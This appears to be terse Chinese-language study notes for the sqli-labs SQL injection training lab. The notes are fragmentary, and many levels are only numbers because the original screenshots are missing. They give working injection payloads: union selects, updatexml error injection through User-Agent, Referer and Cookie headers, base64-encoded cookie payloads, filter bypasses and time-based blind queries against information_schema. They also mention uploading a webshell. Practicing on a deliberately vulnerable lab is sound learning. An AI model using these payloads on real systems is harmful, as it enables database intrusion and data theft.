直接放图
有回显的地方可以插入sql语句，pyload看url
order by 找出3个字段
union select 1,2,32,3就是显示位，可以放sql语句，–+为了注释后面语句
例如这个
报错注入三种都试一下paylod里面放sql语句
第七题传个马，然后。。。。。然后我没菜刀
第八题盲注 就是瞎猜（开个玩笑）通过页面是否正确返回来判断 例如
后面的逻辑改成sql语句盲注
第九题，显示一样，加一个sleep函数区分是否执行和第八题一样
第十题，双引号盲注，剩下的和第九题一样
第十一题，抓包改参
莫名其妙抓不了包
uname=0’ union select 1,2 --+&passwd=admin&submit=Submit
第十二题，和十一题一样，单引号改双引号
uname=0") union select 1,database() --+ &passwd=admin&submit=Submit
第十三题
第十四题
第十五
十六
sleep函数
十八
构造User-Agent
payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
十九
Referer
Referer: http://localhost/sqli-labs/Less-19/ ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
二十
构造cookie
payload-header:Cookie: uname=admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
base64编码
二十一
union联查
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixlbWFpbF9pZCBmcm9tIGVtYWlscyAj=
二十二同上
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGVtYWlsX2lkIGZyb20gZW1haWxzICM=
二十三
由于bun掉了注释符构造or ‘1’='1来补全sql语句数字2是回显点
二十四
任意修改
先注册然后修改
UPDATE users SET PASSWORD=’666666’ where username=’ghost’ #’ and password=’123456’
把123456改为666666
二十五
盲注双写绕过
二十六
5是回显点，用%A0替代空格使用，用&&(%26%26)替代AND使用
二十七
大小写绕过
二十八
29
不会
宽字节注入
32
35
36
37
堆叠注入
38
39
40
41
盲注
48
49
同上加一个sleep
50
51
52
同50
53
同51
62
sleep
?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(5))–+
63同上
单引号
64同上
双括号
65
?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+